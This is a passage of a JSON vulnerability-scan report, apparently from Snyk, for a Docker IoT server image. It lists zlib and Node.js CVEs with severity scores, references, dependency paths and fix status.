]
},
"packageManager": "debian:12",
"publicationTime": "2023-10-19T04:21:02.193720Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-15T14:04:01.985087Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "critical",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"apt@2.6.1",
"apt/libapt-pkg6.0@2.6.1",
"zlib/zlib1g@1:1.2.13.dfsg-1"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "zlib/zlib1g",
"version": "1:1.2.13.dfsg-1"
},
{
"id": "SNYK-DEBIAN12-ZLIB-19520487",
"cpes": [],
"title": "Out-of-bounds Write",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.4,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-85091",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-85091"
},
{
"url": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490",
"title": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490"
},
{
"url": "https://github.com/madler/zlib",
"title": "https://github.com/madler/zlib"
},
{
"url": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393",
"title": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393"
},
{
"url": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate",
"title": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nzlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.\n## Remediation\nThere is no fixed version for `Debian:12` `zlib`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-85091](https://security-tracker.debian.org/tracker/CVE-2026-85091)\n- [https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490](https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490)\n- [https://github.com/madler/zlib](https://github.com/madler/zlib)\n- [https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393](https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393)\n- [https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate](https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate)\n",
"epssDetails": {
"percentile": "0.27225",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-85091"
],
"CWE": [
"CWE-787"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "zlib",
"creationTime": "2026-09-04T04:42:43.528839Z",
"disclosureTime": "2026-09-03T13:06:20.573000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-04T04:42:43.535393Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-08T15:12:01.972206Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"apt@2.6.1",
"gnupg2/gpgv@2.2.40-1.1+deb12u2",
"zlib/zlib1g@1:1.2.13.dfsg-1"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "zlib/zlib1g",
"version": "1:1.2.13.dfsg-1"
},
{
"id": "SNYK-DEBIAN12-ZLIB-6008963",
"cpes": [],
"title": "Integer Overflow or Wraparound",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "critical",
"cvssScore": 9.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2023-45853",
"title": "https://security-tracker.debian.org/tracker/CVE-2023-45853"
},
{
"url": "http://www.openwall.com/lists/oss-security/2023/10/20/9",
"title": "http://www.openwall.com/lists/oss-security/2023/10/20/9"
},
{
"url": "http://www.openwall.com/lists/oss-security/2024/01/24/10",
"title": "http://www.openwall.com/lists/oss-security/2024/01/24/10"
},
{
"url": "https://chromium.googlesource.com/chromium/src/%2B/d709fb23806858847131027da95ef4c548813356",
"title": "https://chromium.googlesource.com/chromium/src/%2B/d709fb23806858847131027da95ef4c548813356"
},
{
"url": "https://chromium.googlesource.com/chromium/src/%2B/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61",
"title": "https://chromium.googlesource.com/chromium/src/%2B/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61"
},
{
"url": "https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib%23L1-L4",
"title": "https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib%23L1-L4"
},
{
"url": "https://github.com/madler/zlib/pull/843",
"title": "https://github.com/madler/zlib/pull/843"
},
{
"url": "https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html",
"title": "https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html"
},
{
"url": "https://pypi.org/project/pyminizip/%23history",
"title": "https://pypi.org/project/pyminizip/%23history"
},
{
"url": "https://security.gentoo.org/glsa/202401-18",
"title": "https://security.gentoo.org/glsa/202401-18"
},
{
"url": "https://security.netapp.com/advisory/ntap-20231130-0009/",
"title": "https://security.netapp.com/advisory/ntap-20231130-0009/"
},
{
"url": "https://www.winimage.com/zLibDll/minizip.html",
"title": "https://www.winimage.com/zLibDll/minizip.html"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html",
"title": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-470355.html",
"title": "https://cert-portal.siemens.com/productcert/html/ssa-470355.html"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-769027.html",
"title": "https://cert-portal.siemens.com/productcert/html/ssa-769027.html"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 9.8,
"modificationTime": "2024-03-11T09:53:42.590604Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2024-03-11T09:54:02.986645Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2024-03-11T09:53:43.720383Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.8,
"cvssVersion": "3.1",
"modificationTime": "2024-03-11T09:53:42.590604Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2024-03-11T09:54:02.986645Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2024-03-11T09:53:43.720383Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nMiniZip in zlib through 1.3 has an integer overflow and resultant heap-based buffer overflow in zipOpenNewFileInZip4_64 via a long filename, comment, or extra field. NOTE: MiniZip is not a supported part of the zlib product. NOTE: pyminizip through 0.2.6 is also vulnerable because it bundles an affected zlib version, and exposes the applicable MiniZip code through its compress API.\n## Remediation\nThere is no fixed version for `Debian:12` `zlib`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2023-45853](https://security-tracker.debian.org/tracker/CVE-2023-45853)\n- [http://www.openwall.com/lists/oss-security/2023/10/20/9](http://www.openwall.com/lists/oss-security/2023/10/20/9)\n- [http://www.openwall.com/lists/oss-security/2024/01/24/10](http://www.openwall.com/lists/oss-security/2024/01/24/10)\n- [https://chromium.googlesource.com/chromium/src/+/d709fb23806858847131027da95ef4c548813356](https://chromium.googlesource.com/chromium/src/+/d709fb23806858847131027da95ef4c548813356)\n- [https://chromium.googlesource.com/chromium/src/+/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61](https://chromium.googlesource.com/chromium/src/+/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61)\n- [https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib#L1-L4](https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib#L1-L4)\n- [https://github.com/madler/zlib/pull/843](https://github.com/madler/zlib/pull/843)\n- [https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html](https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html)\n- [https://pypi.org/project/pyminizip/#history](https://pypi.org/project/pyminizip/#history)\n- [https://security.gentoo.org/glsa/202401-18](https://security.gentoo.org/glsa/202401-18)\n- [https://security.netapp.com/advisory/ntap-20231130-0009/](https://security.netapp.com/advisory/ntap-20231130-0009/)\n- [https://www.winimage.com/zLibDll/minizip.html](https://www.winimage.com/zLibDll/minizip.html)\n- [https://cert-portal.siemens.com/productcert/html/ssa-398330.html](https://cert-portal.siemens.com/productcert/html/ssa-398330.html)\n- [https://cert-portal.siemens.com/productcert/html/ssa-470355.html](https://cert-portal.siemens.com/productcert/html/ssa-470355.html)\n- [https://cert-portal.siemens.com/productcert/html/ssa-769027.html](https://cert-portal.siemens.com/productcert/html/ssa-769027.html)\n",
"epssDetails": {
"percentile": "0.88815",
"probability": "0.03448",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2023-45853"
],
"CWE": [
"CWE-190"
],
"ALTERNATIVE": []
},
"nvdSeverity": "critical",
"packageName": "zlib",
"creationTime": "2023-10-19T04:21:07.782934Z",
"disclosureTime": "2023-10-14T02:15:09.323000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2023-10-19T04:21:02.193720Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-15T14:04:01.985087Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "critical",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"apt@2.6.1",
"gnupg2/gpgv@2.2.40-1.1+deb12u2",
"zlib/zlib1g@1:1.2.13.dfsg-1"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "zlib/zlib1g",
"version": "1:1.2.13.dfsg-1"
},
{
"id": "SNYK-DEBIAN12-ZLIB-19520487",
"cpes": [],
"title": "Out-of-bounds Write",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "high",
"cvssScore": 7.4,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2026-85091",
"title": "https://security-tracker.debian.org/tracker/CVE-2026-85091"
},
{
"url": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490",
"title": "https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490"
},
{
"url": "https://github.com/madler/zlib",
"title": "https://github.com/madler/zlib"
},
{
"url": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393",
"title": "https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c%23L393"
},
{
"url": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate",
"title": "https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"cvssV3BaseScore": 7.4,
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.4,
"cvssVersion": "3.1",
"modificationTime": "2026-09-04T01:29:18.339972Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nzlib versions 1.3.1.2 through 1.3.2 contain a heap buffer overflow vulnerability in the gz_vacate() function when processing non-blocking gzwrite() operations with stale external buffer pointers. Attackers can trigger the overflow by calling gzprintf() or gzvprintf() after a write stall, causing an unchecked memmove() to write beyond the internal input buffer boundary.\n## Remediation\nThere is no fixed version for `Debian:12` `zlib`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2026-85091](https://security-tracker.debian.org/tracker/CVE-2026-85091)\n- [https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490](https://gist.github.com/thesmartshadow/e0b9481792afb7c31e86fee1ff084490)\n- [https://github.com/madler/zlib](https://github.com/madler/zlib)\n- [https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393](https://github.com/madler/zlib/blob/v1.3.2/gzwrite.c#L393)\n- [https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate](https://www.vulncheck.com/advisories/zlib-1.3.1.2-through-1.3.2-heap-buffer-overflow-via-gz-vacate)\n",
"epssDetails": {
"percentile": "0.27225",
"probability": "0.00356",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-85091"
],
"CWE": [
"CWE-787"
],
"ALTERNATIVE": []
},
"nvdSeverity": "high",
"packageName": "zlib",
"creationTime": "2026-09-04T04:42:43.528839Z",
"disclosureTime": "2026-09-03T13:06:20.573000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2026-09-04T04:42:43.535393Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-08T15:12:01.972206Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "high",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"dash@0.5.12-2",
"dpkg@1.21.23",
"zlib/zlib1g@1:1.2.13.dfsg-1"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "zlib/zlib1g",
"version": "1:1.2.13.dfsg-1"
},
{
"id": "SNYK-DEBIAN12-ZLIB-6008963",
"cpes": [],
"title": "Integer Overflow or Wraparound",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"credit": [
""
],
"semver": {
"vulnerable": [
"*"
]
},
"exploit": "Not Defined",
"fixedIn": [],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "linux",
"severity": "critical",
"cvssScore": 9.8,
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://security-tracker.debian.org/tracker/CVE-2023-45853",
"title": "https://security-tracker.debian.org/tracker/CVE-2023-45853"
},
{
"url": "http://www.openwall.com/lists/oss-security/2023/10/20/9",
"title": "http://www.openwall.com/lists/oss-security/2023/10/20/9"
},
{
"url": "http://www.openwall.com/lists/oss-security/2024/01/24/10",
"title": "http://www.openwall.com/lists/oss-security/2024/01/24/10"
},
{
"url": "https://chromium.googlesource.com/chromium/src/%2B/d709fb23806858847131027da95ef4c548813356",
"title": "https://chromium.googlesource.com/chromium/src/%2B/d709fb23806858847131027da95ef4c548813356"
},
{
"url": "https://chromium.googlesource.com/chromium/src/%2B/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61",
"title": "https://chromium.googlesource.com/chromium/src/%2B/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61"
},
{
"url": "https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib%23L1-L4",
"title": "https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib%23L1-L4"
},
{
"url": "https://github.com/madler/zlib/pull/843",
"title": "https://github.com/madler/zlib/pull/843"
},
{
"url": "https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html",
"title": "https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html"
},
{
"url": "https://pypi.org/project/pyminizip/%23history",
"title": "https://pypi.org/project/pyminizip/%23history"
},
{
"url": "https://security.gentoo.org/glsa/202401-18",
"title": "https://security.gentoo.org/glsa/202401-18"
},
{
"url": "https://security.netapp.com/advisory/ntap-20231130-0009/",
"title": "https://security.netapp.com/advisory/ntap-20231130-0009/"
},
{
"url": "https://www.winimage.com/zLibDll/minizip.html",
"title": "https://www.winimage.com/zLibDll/minizip.html"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html",
"title": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-470355.html",
"title": "https://cert-portal.siemens.com/productcert/html/ssa-470355.html"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-769027.html",
"title": "https://cert-portal.siemens.com/productcert/html/ssa-769027.html"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "critical",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"cvssV3BaseScore": 9.8,
"modificationTime": "2024-03-11T09:53:42.590604Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2024-03-11T09:54:02.986645Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2024-03-11T09:53:43.720383Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"assigner": "NVD",
"severity": "critical",
"baseScore": 9.8,
"cvssVersion": "3.1",
"modificationTime": "2024-03-11T09:53:42.590604Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2024-03-11T09:54:02.986645Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2024-03-11T09:53:43.720383Z"
}
],
"description": "## NVD Description\n**_Note:_** _Versions mentioned in the description apply only to the upstream `zlib` package and not the `zlib` package as distributed by `Debian`._\n_See `How to fix?` for `Debian:12` relevant fixed versions and status._\n\nMiniZip in zlib through 1.3 has an integer overflow and resultant heap-based buffer overflow in zipOpenNewFileInZip4_64 via a long filename, comment, or extra field. NOTE: MiniZip is not a supported part of the zlib product. NOTE: pyminizip through 0.2.6 is also vulnerable because it bundles an affected zlib version, and exposes the applicable MiniZip code through its compress API.\n## Remediation\nThere is no fixed version for `Debian:12` `zlib`.\n## References\n- [https://security-tracker.debian.org/tracker/CVE-2023-45853](https://security-tracker.debian.org/tracker/CVE-2023-45853)\n- [http://www.openwall.com/lists/oss-security/2023/10/20/9](http://www.openwall.com/lists/oss-security/2023/10/20/9)\n- [http://www.openwall.com/lists/oss-security/2024/01/24/10](http://www.openwall.com/lists/oss-security/2024/01/24/10)\n- [https://chromium.googlesource.com/chromium/src/+/d709fb23806858847131027da95ef4c548813356](https://chromium.googlesource.com/chromium/src/+/d709fb23806858847131027da95ef4c548813356)\n- [https://chromium.googlesource.com/chromium/src/+/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61](https://chromium.googlesource.com/chromium/src/+/de29dd6c7151d3cd37cb4cf0036800ddfb1d8b61)\n- [https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib#L1-L4](https://github.com/madler/zlib/blob/ac8f12c97d1afd9bafa9c710f827d40a407d3266/contrib/README.contrib#L1-L4)\n- [https://github.com/madler/zlib/pull/843](https://github.com/madler/zlib/pull/843)\n- [https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html](https://lists.debian.org/debian-lts-announce/2023/11/msg00026.html)\n- [https://pypi.org/project/pyminizip/#history](https://pypi.org/project/pyminizip/#history)\n- [https://security.gentoo.org/glsa/202401-18](https://security.gentoo.org/glsa/202401-18)\n- [https://security.netapp.com/advisory/ntap-20231130-0009/](https://security.netapp.com/advisory/ntap-20231130-0009/)\n- [https://www.winimage.com/zLibDll/minizip.html](https://www.winimage.com/zLibDll/minizip.html)\n- [https://cert-portal.siemens.com/productcert/html/ssa-398330.html](https://cert-portal.siemens.com/productcert/html/ssa-398330.html)\n- [https://cert-portal.siemens.com/productcert/html/ssa-470355.html](https://cert-portal.siemens.com/productcert/html/ssa-470355.html)\n- [https://cert-portal.siemens.com/productcert/html/ssa-769027.html](https://cert-portal.siemens.com/productcert/html/ssa-769027.html)\n",
"epssDetails": {
"percentile": "0.88815",
"probability": "0.03448",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2023-45853"
],
"CWE": [
"CWE-190"
],
"ALTERNATIVE": []
},
"nvdSeverity": "critical",
"packageName": "zlib",
"creationTime": "2023-10-19T04:21:07.782934Z",
"disclosureTime": "2023-10-14T02:15:09.323000Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "debian:12",
"publicationTime": "2023-10-19T04:21:02.193720Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-15T14:04:01.985087Z",
"socialTrendAlert": false,
"relativeImportance": "not yet assigned",
"severityWithCritical": "critical",
"from": [
"docker-image|docker.io/scopear/docker-iot-server@1.3.1_0fbd998.179",
"dash@0.5.12-2",
"dpkg@1.21.23",
"zlib/zlib1g@1:1.2.13.dfsg-1"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "zlib/zlib1g",
"version": "1:1.2.13.dfsg-1"
},
{
"id": "SNYK-UPSTREAM-NODE-17430980",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Tim Perry"
],
"semver": {
"vulnerable": [
"[22.22.3, 22.23.0)",
"[24.0.0, 24.17.0)",
"[25.0.0, 26.1.0)"
]
},
"exploit": "Not Defined",
"fixedIn": [
"22.23.0",
"24.17.0",
"26.1.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"references": [
{
"url": "https://github.com/nodejs/node/commit/4a32c00fb8dbe55c3bcf9ef43343968c9fe449e6",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/a1a5bb968303229d4a3a7c9e389dc3ece6237b4c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/a8a0d1287571cc63809e62e429ce15a37deea51a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/nodejs/node/commit/d29fbc002914e2e1128161b842bfe44ed1909fd4",
"title": "GitHub Commit"
},
{
"url": "https://hackerone.com/reports/3658225",
"title": "HackerOne Report"
},
{
"url": "https://nodejs.org/en/blog/vulnerability/june-2026-security-releases",
"title": "Node.js"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-19T01:29:43.970666Z"
},
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2026-08-14T05:31:05.801786Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"cvssV3BaseScore": 5.3,
"modificationTime": "2026-06-26T11:01:41.210806Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-27T14:04:50.506339Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-27T14:04:50.506339Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-19T01:29:43.970666Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2026-08-14T05:31:05.801786Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.3,
"cvssVersion": "3.1",
"modificationTime": "2026-06-26T11:01:41.210806Z"
}
],
"description": "## Overview\n[node](https://nodejs.org/en/) is a JavaScript runtime built on Chrome's V8 JavaScript engine.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `HTTP/2` server. An attacker can cause the server to continue accepting data after a `GOAWAY` frame has been sent by sending additional data, potentially leading to resource exhaustion and degraded service availability.\n## Remediation\nUpgrade `node` to version 22.23.0, 24.17.0, 26.1.0 or higher.\n## References\n- [GitHub Commit](https://github.com/nodejs/node/commit/4a32c00fb8dbe55c3bcf9ef43343968c9fe449e6)\n- [GitHub Commit](https://github.com/nodejs/node/commit/a1a5bb968303229d4a3a7c9e389dc3ece6237b4c)\n- [GitHub Commit](https://github.com/nodejs/node/commit/a8a0d1287571cc63809e62e429ce15a37deea51a)\n- [GitHub Commit](https://github.com/nodejs/node/commit/d29fbc002914e2e1128161b842bfe44ed1909fd4)\n- [HackerOne Report](https://hackerone.com/reports/3658225)\n- 